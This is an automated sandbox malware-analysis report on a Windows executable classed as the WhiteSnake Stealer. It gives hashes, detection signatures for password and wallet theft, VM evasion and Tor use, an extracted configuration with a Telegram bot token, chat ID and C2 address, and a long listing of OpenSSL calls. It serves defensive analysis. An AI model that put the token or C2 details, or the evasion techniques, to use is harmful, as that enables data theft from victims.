Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1546608
MD5: e13fb88ca7d0aef839c0ca07eb36d28b
SHA1: c020b62797cd6875ba054c40a9b2e416c56c8139
SHA256: f8dc556dc94d54b774d9420814893cf45c6eef5b1f7cf6d894987a8d3ffcfc2e
Tags: exeuser-Bitsight
Infos:

Detection

WhiteSnake Stealer
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Capture Wi-Fi password
Suricata IDS alerts for network traffic
Yara detected WhiteSnake Stealer
.NET source code contains very large strings
.NET source code references suspicious native API functions
AI detected suspicious sample
Found Tor onion address
Found many strings related to Crypto-Wallets (likely being stolen)
Machine Learning detection for dropped file
Machine Learning detection for sample
May use the Tor software to hide its network traffic
Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)
Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Self deletion via cmd or bat file
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Tries to harvest and steal WLAN passwords
Tries to harvest and steal browser information (history, passwords, etc)
Uses netsh to modify the Windows network and firewall settings
Uses schtasks.exe or at.exe to add and modify task schedules
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Contains functionality to call native functions
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Enables driver privileges
Enables security privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Communication To Uncommon Destination Ports
Sigma detected: Suspicious Schtasks From Env Var Folder
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: file.exe Avira: detected
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Avira: detection malicious, Label: HEUR/AGEN.1307453
Found malware configuration
Source: 00000006.00000002.4101217017.000001BF1C161000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: WhiteSnake {"Version": "1.6.3.5", "Telegram Token": "8131609813:AAHiXvRusvpwnY2Me6HMM4Km8uC4ihqrnCs", "Telegram chatid": "972119615", "C2 urls": ["http://104.161.33.60:8080"]}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Starlabs\file.exe ReversingLabs: Detection: 50%
Multi AV Scanner detection for submitted file
Source: file.exe ReversingLabs: Detection: 50%
Source: file.exe Virustotal: Detection: 50% Perma Link
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: file.exe Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 6_2_00007FFD9B8ADB2C CryptUnprotectData, 6_2_00007FFD9B8ADB2C
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1FAA50 CRYPTO_free,free, 9_2_6C1FAA50
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1FAAC0 CRYPTO_free,free, 9_2_6C1FAAC0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1FA6B0 CRYPTO_free,CRYPTO_malloc,malloc, 9_2_6C1FA6B0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21B3F0 CRYPTO_free_ex_data,OPENSSL_cleanse,OPENSSL_cleanse,X509_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_THREAD_lock_free,CRYPTO_clear_free,free, 9_2_6C21B3F0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21CC36 CRYPTO_THREAD_write_lock,OPENSSL_LH_retrieve,OPENSSL_LH_delete,CRYPTO_THREAD_unlock, 9_2_6C21CC36
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C232C04 CRYPTO_free,CRYPTO_free,CRYPTO_free, 9_2_6C232C04
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F4C29 CRYPTO_zalloc,ERR_put_error,CRYPTO_zalloc,CRYPTO_free,BUF_MEM_grow, 9_2_6C1F4C29
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F6C23 CRYPTO_free, 9_2_6C1F6C23
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C244C70 CRYPTO_free,CRYPTO_malloc,ERR_put_error, 9_2_6C244C70
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C214C41 ERR_put_error,CRYPTO_free,EVP_PKEY_free,CRYPTO_free, 9_2_6C214C41
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C234CA8 EVP_MD_CTX_new,EVP_PKEY_size,CRYPTO_malloc,EVP_DigestSignInit,EVP_DigestSign,CRYPTO_free,EVP_MD_CTX_free, 9_2_6C234CA8
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C216CB0 CRYPTO_malloc,CRYPTO_clear_free, 9_2_6C216CB0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C208C80 CRYPTO_THREAD_run_once,OPENSSL_sk_find,OPENSSL_sk_value,EVP_CIPHER_flags,EVP_get_cipherbyname,EVP_get_cipherbyname,EVP_enc_null,EVP_get_cipherbyname,EVP_get_cipherbyname,EVP_get_cipherbyname,__stack_chk_fail, 9_2_6C208C80
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C214C98 CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_put_error, 9_2_6C214C98
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20ECE9 ERR_put_error,CRYPTO_free,EVP_PKEY_free,CRYPTO_free, 9_2_6C20ECE9
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1FACE7 COMP_expand_block,CRYPTO_malloc, 9_2_6C1FACE7
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C214D23 X509_get0_pubkey,OPENSSL_sk_push,ERR_put_error,X509_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free, 9_2_6C214D23
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C200D2B CRYPTO_strdup, 9_2_6C200D2B
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C204D30 CRYPTO_get_ex_new_index, 9_2_6C204D30
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21AD60 BIO_s_file,BIO_new,BIO_ctrl,strncmp,CRYPTO_realloc,memcpy,CRYPTO_free,CRYPTO_free,CRYPTO_free,PEM_read_bio,strlen,strncmp,CRYPTO_realloc,ERR_put_error,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,BIO_free,ERR_put_error,ERR_put_error,ERR_put_error,ERR_put_error,ERR_put_error,ERR_put_error,ERR_put_error,__stack_chk_fail, 9_2_6C21AD60
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20AD47 CRYPTO_free,CRYPTO_strdup, 9_2_6C20AD47
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23AD4B CRYPTO_free,EVP_CIPHER_CTX_free,HMAC_CTX_free, 9_2_6C23AD4B
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23EDBB EVP_PKEY_new,EVP_PKEY_copy_parameters,EVP_PKEY_get0_DH,BN_bin2bn,DH_set0_key,EVP_PKEY_free,CRYPTO_clear_free, 9_2_6C23EDBB
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C204D80 i2d_X509_NAME,i2d_X509_NAME,CRYPTO_free,CRYPTO_free,memcmp,__stack_chk_fail,X509_NAME_hash, 9_2_6C204D80
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F6DB8 CRYPTO_free,BIO_clear_flags,BIO_set_flags,memcpy,BIO_snprintf,ERR_add_error_data,__stack_chk_fail, 9_2_6C1F6DB8
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C232D89 CRYPTO_free,CRYPTO_free,CRYPTO_free, 9_2_6C232D89
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23ADC7 CRYPTO_free,EVP_CIPHER_CTX_free,HMAC_CTX_free, 9_2_6C23ADC7
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C204E24 CRYPTO_free,CRYPTO_free,memcmp, 9_2_6C204E24
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21CE30 CRYPTO_THREAD_write_lock,OPENSSL_LH_retrieve,OPENSSL_LH_delete,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock, 9_2_6C21CE30
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C230E10 EVP_PKEY_free,EVP_MD_CTX_free,BN_bin2bn,BN_bin2bn,BN_bin2bn,BN_bin2bn,CRYPTO_free,CRYPTO_strndup,__stack_chk_fail, 9_2_6C230E10
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F4E20 CRYPTO_zalloc,ERR_put_error, 9_2_6C1F4E20
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C216E60 strlen,CRYPTO_malloc,strcpy,CRYPTO_clear_free, 9_2_6C216E60
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20EE66 CRYPTO_realloc,CRYPTO_realloc,memset, 9_2_6C20EE66
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C234EA7 CRYPTO_free,EVP_MD_CTX_free,BUF_reverse, 9_2_6C234EA7
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C200E80 CRYPTO_zalloc, 9_2_6C200E80
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C200EE0 EVP_PKEY_free,EVP_PKEY_free,CRYPTO_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_clear_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_clear_free, 9_2_6C200EE0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23EF43 CRYPTO_clear_free,EVP_PKEY_free, 9_2_6C23EF43
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F4F70 CRYPTO_free, 9_2_6C1F4F70
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C244FA7 CRYPTO_malloc, 9_2_6C244FA7
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C234FA6 CRYPTO_free,EVP_MD_CTX_free,RSA_pkey_ctx_ctrl,RSA_pkey_ctx_ctrl, 9_2_6C234FA6
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23EF89 CRYPTO_clear_free, 9_2_6C23EF89
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1FCFC4 EVP_MD_CTX_md,EVP_MD_CTX_md,EVP_MD_size,CRYPTO_memcmp,EVP_CIPHER_CTX_cipher,EVP_CIPHER_flags,EVP_CIPHER_CTX_cipher,EVP_CIPHER_flags, 9_2_6C1FCFC4
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1FA800 CRYPTO_malloc,CRYPTO_free,CRYPTO_malloc, 9_2_6C1FA800
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21C860 memcmp,time,CRYPTO_THREAD_write_lock,OPENSSL_LH_retrieve,OPENSSL_LH_delete,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock,__stack_chk_fail, 9_2_6C21C860
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21E844 CRYPTO_free, 9_2_6C21E844
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2228A8 CRYPTO_free,CRYPTO_memdup,strcmp,strlen,OPENSSL_cleanse, 9_2_6C2228A8
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2448B0 CRYPTO_malloc,CRYPTO_free,CRYPTO_free,ERR_put_error, 9_2_6C2448B0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21E8E5 CRYPTO_free,CRYPTO_strdup,CRYPTO_free,__stack_chk_fail, 9_2_6C21E8E5
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2428F0 CRYPTO_malloc,CRYPTO_free,CRYPTO_free,ERR_put_error,ERR_put_error, 9_2_6C2428F0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C22C919 BN_num_bits,BN_bn2bin,CRYPTO_free,CRYPTO_strdup, 9_2_6C22C919
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C232960 CRYPTO_free,CRYPTO_free,CRYPTO_free,EVP_CIPHER_CTX_free,EVP_MD_CTX_free,memcpy,CRYPTO_free,CRYPTO_free,CRYPTO_free,EVP_CIPHER_CTX_free,EVP_MD_CTX_free,__stack_chk_fail, 9_2_6C232960
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C244974 CRYPTO_free, 9_2_6C244974
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1FA946 CRYPTO_free,CRYPTO_malloc, 9_2_6C1FA946
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21A940 CRYPTO_realloc,memcpy,ERR_put_error,ERR_put_error,ERR_put_error,ERR_put_error,ERR_put_error, 9_2_6C21A940
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C220949 OPENSSL_cleanse,OPENSSL_cleanse,EVP_PKEY_free,EVP_MD_CTX_free,EVP_DigestInit_ex,EVP_DigestUpdate,EVP_DigestFinal_ex,EVP_PKEY_new_raw_private_key,EVP_DigestSignInit,EVP_DigestUpdate,EVP_DigestSignFinal,CRYPTO_memcmp, 9_2_6C220949
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F696C CRYPTO_free,CRYPTO_free, 9_2_6C1F696C
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2389E0 CRYPTO_memcmp,memcpy,memcpy,__stack_chk_fail, 9_2_6C2389E0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F69D0 CRYPTO_free, 9_2_6C1F69D0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2349F0 __stack_chk_fail,__stack_chk_fail,CRYPTO_free,EVP_MD_CTX_free,EVP_MD_CTX_new,EVP_PKEY_size,CRYPTO_malloc,EVP_DigestSignInit,EVP_DigestSign,CRYPTO_free,EVP_MD_CTX_free,BUF_reverse,EVP_DigestUpdate,EVP_MD_CTX_ctrl,EVP_DigestSignFinal,RSA_pkey_ctx_ctrl,RSA_pkey_ctx_ctrl,__stack_chk_fail, 9_2_6C2349F0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2449F0 CRYPTO_malloc,CRYPTO_free,CRYPTO_malloc,CRYPTO_free,CRYPTO_free,CRYPTO_free,ERR_put_error, 9_2_6C2449F0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C216A2B CRYPTO_malloc,CRYPTO_free,ERR_put_error, 9_2_6C216A2B
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C222A0C CRYPTO_memcmp, 9_2_6C222A0C
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C212A73 ERR_put_error,CRYPTO_free, 9_2_6C212A73
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C22EA50 OPENSSL_sk_new_null,X509_free,OPENSSL_sk_pop_free,d2i_X509,CRYPTO_free,OPENSSL_sk_push,ERR_clear_error,OPENSSL_sk_value,X509_get0_pubkey,EVP_PKEY_missing_parameters,X509_free,X509_up_ref,__stack_chk_fail,CRYPTO_free, 9_2_6C22EA50
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F4A80 CRYPTO_zalloc,CRYPTO_free,ERR_put_error,BUF_MEM_grow, 9_2_6C1F4A80
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C224A86 CRYPTO_free,CRYPTO_memdup, 9_2_6C224A86
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C226A8B CRYPTO_free,CRYPTO_free,CRYPTO_memdup, 9_2_6C226A8B
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20CAE0 OPENSSL_init_crypto,CRYPTO_THREAD_run_once,ERR_put_error,CRYPTO_THREAD_run_once,CRYPTO_THREAD_run_once, 9_2_6C20CAE0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C244AEC CRYPTO_malloc,CRYPTO_free, 9_2_6C244AEC
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20CB24 CRYPTO_THREAD_run_once, 9_2_6C20CB24
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21AB3C CRYPTO_realloc,memcpy,ERR_put_error,ERR_put_error,ERR_put_error,ERR_put_error, 9_2_6C21AB3C
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F6B00 CRYPTO_free, 9_2_6C1F6B00
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C214B18 CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_put_error, 9_2_6C214B18
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1FAB50 CRYPTO_free, 9_2_6C1FAB50
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C22EB59 X509_free,OPENSSL_sk_pop_free,d2i_X509,CRYPTO_free,OPENSSL_sk_push,ERR_clear_error,OPENSSL_sk_value,X509_get0_pubkey,EVP_PKEY_missing_parameters,X509_free,X509_up_ref, 9_2_6C22EB59
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20CBB4 CRYPTO_THREAD_run_once, 9_2_6C20CBB4
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20CBE7 CRYPTO_THREAD_run_once, 9_2_6C20CBE7
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20EBEB CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_put_error, 9_2_6C20EBEB
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20E421 CRYPTO_free,CRYPTO_free,ERR_put_error, 9_2_6C20E421
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C212426 CRYPTO_memdup,CRYPTO_free,CRYPTO_free,ERR_put_error, 9_2_6C212426
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20A419 CRYPTO_free,CRYPTO_mem_ctrl,ERR_put_error, 9_2_6C20A419
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C230460 CRYPTO_clear_free, 9_2_6C230460
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C222469 CRYPTO_free, 9_2_6C222469
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F6453 CRYPTO_free,CRYPTO_free, 9_2_6C1F6453
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21247C CRYPTO_memdup,CRYPTO_free, 9_2_6C21247C
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F6440 CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free, 9_2_6C1F6440
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F64AC CRYPTO_free,CRYPTO_free, 9_2_6C1F64AC
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F44C0 CRYPTO_free, 9_2_6C1F44C0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C22E4D6 CRYPTO_free, 9_2_6C22E4D6
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2124D7 CRYPTO_free, 9_2_6C2124D7
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C230533 CRYPTO_clear_free, 9_2_6C230533
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F6504 CRYPTO_free,CRYPTO_free, 9_2_6C1F6504
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21C500 memcpy,CRYPTO_THREAD_read_lock,OPENSSL_LH_retrieve,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock,__stack_chk_fail, 9_2_6C21C500
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F453C CRYPTO_free, 9_2_6C1F453C
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23455B CRYPTO_free,CRYPTO_free,CRYPTO_free, 9_2_6C23455B
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C22C55B X509_get0_pubkey,EVP_PKEY_get0_RSA,CRYPTO_malloc,RAND_bytes,EVP_PKEY_CTX_new,EVP_PKEY_encrypt_init,EVP_PKEY_encrypt,EVP_PKEY_encrypt,EVP_PKEY_CTX_free, 9_2_6C22C55B
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2325A0 CRYPTO_free,CRYPTO_free,CRYPTO_free,EVP_CIPHER_CTX_free,EVP_MD_CTX_free,CRYPTO_free,__stack_chk_fail,CRYPTO_free,CRYPTO_free,CRYPTO_free,EVP_CIPHER_CTX_free,EVP_MD_CTX_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,memcpy,EVP_CIPHER_CTX_free,EVP_MD_CTX_free,EVP_CIPHER_CTX_free,EVP_MD_CTX_free, 9_2_6C2325A0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20C590 CRYPTO_free,CRYPTO_free,OPENSSL_sk_pop_free,CRYPTO_free, 9_2_6C20C590
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1FA5A0 CRYPTO_free, 9_2_6C1FA5A0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F65A0 CRYPTO_free, 9_2_6C1F65A0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1FA5D0 CRYPTO_malloc, 9_2_6C1FA5D0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1FA61C CRYPTO_malloc, 9_2_6C1FA61C
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C204670 ASN1_item_d2i,ERR_put_error,ASN1_item_free,ASN1_item_free,ERR_put_error,memcpy,memcpy,X509_free,memcpy,CRYPTO_free,CRYPTO_strndup,CRYPTO_free,CRYPTO_strndup,CRYPTO_free,CRYPTO_strndup,CRYPTO_free,CRYPTO_free,CRYPTO_strndup,CRYPTO_free,CRYPTO_free,ASN1_item_free,ASN1_item_free,ERR_put_error,time,ERR_put_error,__stack_chk_fail, 9_2_6C204670
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20E670 EVP_MD_size,CRYPTO_zalloc,CRYPTO_malloc,memcpy,d2i_X509,X509_get0_pubkey,OPENSSL_sk_push,ERR_put_error,X509_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_put_error,ERR_put_error,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_put_error,ERR_put_error,ERR_put_error,ERR_put_error,d2i_PUBKEY,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_insert,ERR_put_error,ERR_put_error,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_put_error,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_put_error,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,EVP_PKEY_free,X509_free,OPENSSL_sk_new_null,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,__stack_chk_fail,ERR_put_error,CRYPTO_realloc,CRYPTO_realloc,memset,ERR_put_error, 9_2_6C20E670
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C212675 CRYPTO_zalloc,CRYPTO_THREAD_lock_new,OPENSSL_LH_new,X509_STORE_new,CTLOG_STORE_new,OPENSSL_sk_num,X509_VERIFY_PARAM_new,EVP_get_digestbyname,EVP_get_digestbyname,OPENSSL_sk_new_null,OPENSSL_sk_new_null,CRYPTO_new_ex_data,CRYPTO_secure_zalloc,RAND_bytes,RAND_priv_bytes,ERR_put_error,ERR_put_error,ERR_put_error,ERR_put_error,ERR_put_error,CRYPTO_free,ERR_put_error,ERR_put_error,RAND_priv_bytes,RAND_priv_bytes,ERR_put_error,ERR_put_error, 9_2_6C212675
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20C640 CRYPTO_strdup,CRYPTO_free,strlen,CRYPTO_free, 9_2_6C20C640
